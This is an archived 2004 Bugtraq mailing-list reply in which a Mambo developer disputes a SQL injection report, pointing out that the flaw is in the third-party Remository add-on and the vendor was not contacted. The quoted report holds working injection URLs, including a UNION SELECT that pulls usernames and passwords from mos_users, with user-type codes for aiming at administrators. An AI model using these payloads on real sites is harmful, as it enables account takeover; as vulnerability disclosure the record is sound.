[36595] in bugtraq
Re: Mambo Portal lasted version 4.5.1 (1.09) and lower vesion :
daemon@ATHENA.MIT.EDU (Tim Broeker)
Tue Sep 21 00:04:02 2004
From: Tim Broeker <tim@electricjet.com>
To: khoaimi <kh0aimi@yahoo.com>
Cc: bugtraq@securityfocus.com
In-Reply-To: <20040918033946.20676.qmail@www.securityfocus.com>
Content-Type: text/plain
Message-Id: <1095617449.13922.283.camel@localhost.localdomain>
Mime-Version: 1.0
Date: Sun, 19 Sep 2004 13:10:49 -0500
Content-Transfer-Encoding: 7bit
Question:
Did you even bother to contact the vendor? Because if you had, you would
have been told that this is NOT a Mambo security flaw.
It affects a third party add-on called Remository that is not part of
the core Mambo software.
Please correct this security report, and also contact the developers of
Remository so that they can correct the flaw. If you don't know who the
developer of Remository is, you can find out through the site that you
hacked using this exploit. >:-|
Tim Broeker
Mambo Developer
On Fri, 2004-09-17 at 22:39, khoaimi wrote:
> Vendor
> www.mamboportal.com
> Message from vendor : Mambo is one of the most powerful Open Source Content Management Systems on the planet. It is used all over the world for everything from simple websites to complex corporate applications. Mambo is easy to install, simple to manage, and reliable.
>
> Bug name : SQL injection
> Version : lastest Version 4.5.1(1.0.9) and lower.
>
> Exploit :
>
> http://www.mamboportal.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=folder&filecatid=499%20and%201=0[SQL]/*
>
> You can exploit from the table "mos_users" with the query below
>
> http://www.mambosite.com/index.php?option=com_remository&Itemid=[id]&func=selectfolder&filecatid=[id]%20and%201=0%20union%20all%20select%201,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users%20where%20usertype=0/*
>
> with the values of usertype :
> 0 = superadministrator
> 1 = administrator
> 2 = editor
> 3 = user
> 5 = publisher
> 6 = manager
>
> Vendor feedback :
> Not yet
>
> Vendor patch :
> Not yet
>
> khoai
> www.xfrog.org
